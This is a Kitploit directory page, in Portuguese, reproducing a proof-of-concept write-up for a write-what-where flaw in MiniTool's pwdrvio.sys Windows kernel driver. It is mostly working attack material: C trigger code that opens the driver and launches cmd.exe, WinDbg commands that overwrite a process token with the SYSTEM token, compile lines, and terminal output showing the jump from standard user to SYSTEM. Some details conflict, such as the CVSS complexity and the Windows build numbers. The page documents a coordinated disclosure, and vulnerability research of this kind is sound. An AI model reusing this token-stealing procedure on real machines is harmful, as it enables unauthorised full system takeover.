Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — Data do projeto: fev de 2026 / Vulnerabilidade de corrupção de memória no driver de kernel do MiniTool. Demonstra uma primitiva de escrita arbitrária no kernel assistida por depurador, que pode ser aproveitada para escalonamento de privilégios. | Kitploit
Ferramentas/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoDepuradoresFuzzingAnálise de MalwareExploração de Binários
GitHubcanomer/cve-2026-36981-kernel-eop-poc

CVE-2026-36981-Kernel-EoP-PoC

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Data do projeto: fev de 2026 / Vulnerabilidade de corrupção de memória no driver de kernel do MiniTool. Demonstra uma primitiva de escrita arbitrária no kernel assistida por depurador, que pode ser aproveitada para escalonamento de privilégios.

Ver Repositório
211há 4 mesesAinda não revisado

CVE-2026-36981-Kernel-EoP-PoC

Condição de write-what-where no kernel dentro do driver de kernel pwdrvio.sys da MiniTool. Demonstra uma primitiva de escrita arbitrária no kernel assistida por depurador que pode ser aproveitada para escalonamento de privilégios.

  • 2026-02-09 Fornecedor notificado
  • 2026-03-05 Fornecedor reconheceu
  • 2026-03-05 CVE solicitado à MITRE
  • 2026-05-10 Divulgação pública após período de divulgação coordenada de 90 dias

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

Escrita Arbitrária no Kernel → Escalonamento Local de Privilégios (LPE) Severidade: ALTA
Pontuação CVSS 3.1: 7.8 (LPE) String do Vetor CVSS:

  • LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • primitiva de escrita arbitrária no kernel assistida por depurador que pode ser aproveitada para escalonamento de privilégios.
    • Explorável via primitiva write-what-where no offset 0x1641 do driver
    • Requer ferramentas de depuração de kernel para exploração confiável
    • Confirmado no Windows 10 Build 19045.6466

Pré-requisitos do Ataque:

  • Acesso local ao sistema alvo
  • Conta de usuário padrão (não administrador)
  • MiniTool instalado ou desinstalado (driver pwdrvio.sys carregado)

Resultados da Exploração: LPE - Escalonamento de privilégios assistido por depurador demonstrado (NT AUTHORITY / SYSTEM), comprometimento completo do sistema

Linha do Tempo da Descoberta da Vulnerabilidade

Fuzzing Inicial e Descoberta de BSOD

Data: 5 de fevereiro de 2026
Atividade: Fuzzing sistemático de drivers de kernel usando fuzzer Python personalizado

Processo de Descoberta:

  1. Seleção do Alvo:

    • Enumerou drivers de kernel instalados na VM do Windows 10
    • Identificou pwdrvio.sys como o driver mais antigo (timestamp: 16 de junho de 2009)
    • Arquivo do driver: C:\Windows\System32\drivers\pwdrvio.sys
    • Objeto de dispositivo: \\.\PartitionWizardDiskAccesser\0
  2. Fuzzing Inicial:

    • Desenvolveu fuzzer Python usando ctypes para interface com o driver
    • Enviou dados aleatórios via WriteFile/DeviceIoControl para o dispositivo do driver
    • Resultado: Múltiplas Telas Azuis da Morte (BSOD)
  3. Ativação do Verifier:

    • Habilitou o Driver Verifier para detecção aprimorada de falhas ```cmd verifier /standard /driver pwdrvio.sys
    root@kitploit:~

Configuração do Verificador: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

root@kitploit:~
### Configuração de Depuração de Kernel com WinDbg
**Data:** 5 a 6 de fevereiro de 2026  
**Atividade:** Estabelecido ambiente de depuração de kernel para análise de causa raiz

**Procedimento de Configuração:**

1. **Configuração da Porta Serial do VMware:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. Configuração do Sistema Operacional Convidado: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

    root@kitploit:~
  2. Conexão WinDbg do Host: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

    root@kitploit:~

Análise de Causa Raiz - Descoberta de Escrita Arbitrária

Data: 6 de fevereiro de 2026
Atividade: Identificada primitiva de escrita arbitrária no kernel

Etapas da Análise:

  1. Análise do Módulo: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

    root@kitploit:~
  2. Descoberta de Instruções Vulneráveis:

    Defina um ponto de interrupção no manipulador de escrita: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

    root@kitploit:~

Descoberta Crítica: Primitiva de escrita arbitrária identificada!

  • A instrução escreve o ponteiro do kernel (RAX) no endereço [R11-0x10]
  • R11 é carregado do quadro da pilha: mov r11, qword ptr [rbp+0xB8h]
  • Nenhuma validação é realizada no endereço de destino
  1. Análise do Estado dos Registradores: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

    root@kitploit:~

Análise de UAF para Escrita Arbitrária

Data: 6 a 7 de fevereiro de 2026
Atividade: Rastreou a vulnerabilidade de User-After-Free para condição de write-what-where

Cadeia de Corrupção de Memória:

  1. Alocação de IRP: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

    root@kitploit:~
  2. Relação de Buffer: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

    root@kitploit:~

Análise: O buffer do usuário NÃO é diretamente acessível a partir do quadro RBP

  • O RBP aponta para a estrutura IRP no pool do kernel
  • O buffer do usuário está em uma região de memória diferente
  • O deslocamento RBP+0xB8 não aponta para o buffer controlado pelo usuário
  1. Condição de Use-After-Free:

    O driver mantém ponteiros pendentes na estrutura IRP: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

    root@kitploit:~

Desenvolvimento de Escalação de Privilégios Local

Data: 7 a 8 de fevereiro de 2026
Atividade: Desenvolvida técnica de roubo de token

Estratégia de Exploração:

Objetivo: Sobrescrever o token do processo atual com o token de SYSTEM

Estrutura EPROCESS do Windows:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

root@kitploit:~
**Procedimento de Roubo de Token:**

1. **Localizar o Processo SYSTEM:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. Localizar o processo do atacante: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

    root@kitploit:~
  2. Calcular Endereço de Destino: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

    root@kitploit:~
  3. Executar a Sobrescrita de Token: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

    root@kitploit:~
  4. Restaurar Execução: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

    root@kitploit:~

Resultado: O processo agora tem privilégios de SYSTEM!

Vulnerabilidade #1: Escrita Arbitrária no Kernel Levando a LPE

Classificação CWE

  • CWE-787: Escrita fora dos limites
  • CWE-123: Condição de escrita-o-que-onde (Write-what-where)
  • CWE-782: IOCTL exposto com controle de acesso insuficiente

Detalhes da Vulnerabilidade

Localização: pwdrvio.sys offset 0x1641
Assembly:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

root@kitploit:~
**Mecanismo de Acionamento:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

Limitações de Exploração:

Esta vulnerabilidade requer ferramentas de depuração do kernel para exploração confiável porque:

  1. Desafio de Controle de Registradores:

    • O registrador de destino R11 é carregado de [RBP+0xB8]
    • RBP aponta para o quadro de pilha do IRP no pool do kernel
    • O buffer do usuário está em uma região de memória diferente (deslocamento de 35MB+)
    • Não é possível controlar diretamente [RBP+0xB8] a partir do buffer do usuário
  2. Layout da Memória do Pool: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

    root@kitploit:~
  3. Intervenção Manual Necessária:

    • Definir o registrador R11 para o endereço de destino via depurador
    • Definir o registrador RAX para o valor do token SYSTEM
    • Executar a instrução
    • Restaurar o fluxo de execução

Pontuação CVSS 3.1: 7.8 (ALTA)

Métricas:

  • Vetor de Ataque (AV): Local - Requer acesso local ao sistema
  • Complexidade do Ataque (AC): Baixa - Nenhuma condição especial necessária
  • Privilégios Necessários (PR): Baixos - Usuário padrão é suficiente
  • Interação do Usuário (UI): Nenhuma - Nenhuma interação do usuário necessária
  • Escopo (S): Inalterado - Mesma autoridade de segurança
  • Confidencialidade (C): Alta - Acesso total ao sistema de arquivos
  • Integridade (I): Alta - Modificação completa do sistema
  • Disponibilidade (A): Alta - Pode travar ou desabilitar o sistema

Código Completo & Exploração

Código:``` C #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");

// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
    return 1;
}

printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");

getchar(); // Breakpoint of WinDbg

// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Completed. SYSTEM Shell Opening...\n");

// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");

return 0;

}

root@kitploit:~
**Como Compilar:**
* MinGW no Linux```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static

Processo WinDbg:

  • Quando nosso breakpoint foi acionado``` 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit Unable to load image pwdrvio.sys, Win32 error 0n2 pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax 1: kd> !process 0 0 poc1.exe PROCESS ffff9d8f6401f080 SessionId: 1 Cid: 1948 Peb: 27a2a7000 ParentCid: 16ac DirBase: 1b2528000 ObjectTable: ffffc2093fb93140 HandleCount: 58. Image: poc1.exe

1: kd> dq ffff9d8f6401f080+4b8 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> !process 4 0 Searching for Process with Cid == 4 PROCESS ffff9d8f5f069040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517. Image: System

1: kd> dq ffff9d8f5f069040+4b8 L1 ffff9d8f5f0694f8 ffffc2093441d8df 1: kd> r rax = ffffc2093441d8df 1: kd> r r11 = ffff9d8f6401f538 + 10 1: kd> p pwdrvio+0x1645: fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df 1: kd> r rip = pwdrvio + 0x165f 1: kd> r eax = 0 1: kd> bc * 1: kd> g

root@kitploit:~
**Saída do Terminal:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
SeShutdownPrivilege           Sistemi kapat                      Disabled
SeChangeNotifyPrivilege       Çapraz geçiş denetimini atla       Enabled
SeUndockPrivilege             Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır       Disabled
SeTimeZonePrivilege           Saat dilimini değiştir             Disabled

PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups

GROUP INFORMATION
-----------------

Group Name                                                Type             SID          Attributes                      
========================================================= ================ ============ ==================================================
Everyone                                                  Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114    Group used for deny only        
BUILTIN\Administrators                                    Alias            S-1-5-32-544 Group used for deny only        
BUILTIN\Users                                             Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                  Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA                                       Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                          Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                            Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap                                  Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                     Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                          Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey                         Label            S-1-16-8192                                  
PS C:\Users\standarduser\directory>

PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.

[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system

C:\Users\standarduser\directory>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                                     State
========================================= =============================================================================== ========
SeCreateTokenPrivilege                    Belirteç nesnesi oluştur                                                        Disabled
SeAssignPrimaryTokenPrivilege             İşlem düzeyi belirtecini değiştir                                               Disabled
SeLockMemoryPrivilege                     Sayfaları bellekte kilitle                                                      Enabled
SeIncreaseQuotaPrivilege                  İşlem için bellek kotaları ayarla                                               Disabled
SeTcbPrivilege                            İşletim sisteminin parçası gibi davran                                          Enabled
SeSecurityPrivilege                       Denetimi ve güvenlik günlüğünü yönet                                            Disabled
SeTakeOwnershipPrivilege                  Dosyaların veya diğer nesnelerin sahipliğini al                                 Disabled
SeLoadDriverPrivilege                     Aygıt sürücüleri yükle ve kaldır                                                Disabled
SeSystemProfilePrivilege                  Sistem performansı profili oluştur                                              Enabled
SeSystemtimePrivilege                     Sistem saatini değiştir                                                         Disabled
SeProfileSingleProcessPrivilege           Tek işlem profili oluştur                                                       Enabled
SeIncreaseBasePriorityPrivilege           Zamanlama önceliğini artır                                                      Enabled
SeCreatePagefilePrivilege                 Disk belleği dosyası oluştur                                                    Enabled
SeCreatePermanentPrivilege                Kalıcı paylaşılan nesneler oluştur                                              Enabled
SeBackupPrivilege                         Dosya ve dizinleri yedekle                                                      Disabled
SeRestorePrivilege                        Dosya ve dizinleri geri yükle                                                   Disabled
SeShutdownPrivilege                       Sistemi kapat                                                                   Disabled
SeDebugPrivilege                          Programların hatalarını ayıkla                                                  Enabled
SeAuditPrivilege                          Güvenlik denetimleri oluştur                                                    Enabled
SeSystemEnvironmentPrivilege              Üretici yazılımı ortam değerlerini değiştir                                     Disabled
SeChangeNotifyPrivilege                   Çapraz geçiş denetimini atla                                                    Enabled
SeUndockPrivilege                         Bilgisayarı takma biriminden çıkar                                              Disabled
SeManageVolumePrivilege                   Birim bakım görevleri gerçekleştir                                              Disabled
SeImpersonatePrivilege                    Kimlik doğrulamasından sonra istemcinin özelliklerini al                        Enabled
SeCreateGlobalPrivilege                   Genel nesneler oluştur                                                          Enabled
SeTrustedCredManAccessPrivilege           Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş                     Disabled
SeRelabelPrivilege                        Nesne etiketini değiştir                                                        Disabled
SeIncreaseWorkingSetPrivilege             İşlem çalışma kümesini artır                                                    Enabled
SeTimeZonePrivilege                       Saat dilimini değiştir                                                          Enabled
SeCreateSymbolicLinkPrivilege             Simgesel bağlantılar oluştur                                                    Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled

C:\Users\standarduser\directory>whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label            S-1-16-16384

Prova de Conceito e Etapas de Reprodução

Pré-requisitos

Ambiente de Teste:

  • Sistema Operacional: Windows 10 Home Build 19045.6466
  • Arquitetura: x64
  • Versão do MiniTool: Partition Wizard 13.5
  • Driver: pwdrvio.sys (datado de 16 de junho de 2009)
  • Conta de Usuário: Usuário padrão (não administrador)

Ferramentas Necessárias:

  • Para LPE: WinDbg (Windows Debugger), VMware Workstation

Reprodução #2: Escalação de Privilégio Local (Assistida por WinDbg)

Etapa 1: Configurar o Ambiente de Depuração do Kernel

A. Configuração do VMware

  1. Abra as configurações da VM no VMware Workstation Pro
  2. Adicionar Hardware → Porta Serial
  3. Configure:
    • Conexão: "Usar pipe nomeado"
    • Pipe nomeado: \\.\pipe\com_1
    • Extremidade: "Este é o servidor"
    • Outra extremidade: "Um aplicativo"
    • Modo de E/S: ✓ Yield CPU on poll
  4. Salve e inicie a VM

B. Configuração do Sistema Convidado```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.

C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.

C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200

C:> shutdown /r /t 0

root@kitploit:~
**C. Configuração do WinDbg no Host**

1. Abra o WinDbg (x64)
2. Arquivo → Kernel Debug (Ctrl+K)
3. Configure:
   - Aba: COM
   - Porta: `\\.\pipe\com_1`
   - Baud Rate: 115200
   - ✓ Pipe
   - ✓ Reconnect
4. Clique em OK

Aguarde a mensagem de conexão:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.

1: kd>

Passo 2: Compilar a Prova de Conceito

Salve como lpe_poc.c:```c #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");

// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
    return 1;
}

printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");

getchar();  // Wait for WinDbg setup

// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");

// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");

CloseHandle(hDevice);
return 0;

}

root@kitploit:~
**Compilar no Linux/WSL:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static

Passo 3: Executar a Exploração

A. Iniciar o PoC na VM (Utilizador Padrão)```cmd C:> whoami desktop-lfkkhu2\standard_user

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

[Limited privileges - no SeDebugPrivilege]

C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...

[WAIT - Do not press ENTER yet]

root@kitploit:~
**B. Configuração e Manipulação do WinDbg**```
1: kd> bp pwdrvio+0x1641
1: kd> g

Agora pressione ENTER no PoC. O WinDbg irá interromper:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax

0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20

root@kitploit:~
**C. Localizar o Processo SYSTEM e o Token**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffc08e66444c80  HandleCount: 2471
    Image: System

0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value

D. Localizar o Processo do Atacante``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe

0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)

root@kitploit:~
**E. Executar Sobrescrita de Token**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10

0: kd> r r11
r11=ffffe78760150548

0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440      lea rax,[rsp+40h]

0: kd> dq ffffe78760150538 L1
ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!

F. Restaurar a Execução``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g

root@kitploit:~
**C. Verificar a Escalação de Privilégios na VM**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system

Microsoft Windows [Version 10.0.19045.6466]

C:\> whoami
nt authority\system

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                          State
========================================= ==================================== ========
SeCreateTokenPrivilege                    Create a token object                Disabled
SeAssignPrimaryTokenPrivilege             Replace a process level token        Disabled
SeLockMemoryPrivilege                     Lock pages in memory                 Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process   Disabled
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeSecurityPrivilege                       Manage auditing and security log     Disabled
SeTakeOwnershipPrivilege                  Take ownership of files/objects      Disabled
SeLoadDriverPrivilege                     Load and unload device drivers       Disabled
SeSystemProfilePrivilege                  Profile system performance           Enabled
SeSystemtimePrivilege                     Change the system time               Disabled
SeProfileSingleProcessPrivilege           Profile single process               Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority         Enabled
SeCreatePagefilePrivilege                 Create a pagefile                    Enabled
SeCreatePermanentPrivilege                Create permanent shared objects      Enabled
SeBackupPrivilege                         Back up files and directories        Disabled
SeRestorePrivilege                        Restore files and directories        Disabled
SeShutdownPrivilege                       Shut down the system                 Disabled
SeDebugPrivilege                          Debug programs                       Enabled  ← SYSTEM!
SeAuditPrivilege                          Generate security audits             Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values   Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeUndockPrivilege                         Remove computer from docking         Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks     Disabled
SeImpersonatePrivilege                    Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege                   Create global objects                Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as trusted Disabled
SeRelabelPrivilege                        Modify an object label               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled
SeTimeZonePrivilege                       Change the time zone                 Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users      Enabled

C:\> whoami /groups

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone                             Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label          S-1-16-16384 ← SYSTEM integrity!

MiniTool Software:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes

root@kitploit:~
**Ferramentas de Teste:**```
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

Versões Afetadas

Confirmadamente Vulneráveis

Produto Principal:

  • MiniTool Partition Wizard 13.5
  • Todas as versões anteriores que utilizam pwdrvio.sys

Detalhes do Driver:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)

root@kitploit:~
### Potencialmente Afetados

Outros produtos MiniTool que podem usar o mesmo driver:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker

**Nota:** Cada produto deve ser testado individualmente para confirmação.

### Compatibilidade com Sistemas Operacionais

**Testado e Confirmado como Vulnerável:**
- Windows 10 Home Build 19045.6466 (x64)

**Motivo:** O driver é compatível com todas as versões modernas do Windows e não contém verificações específicas de versão.

## Aviso Legal
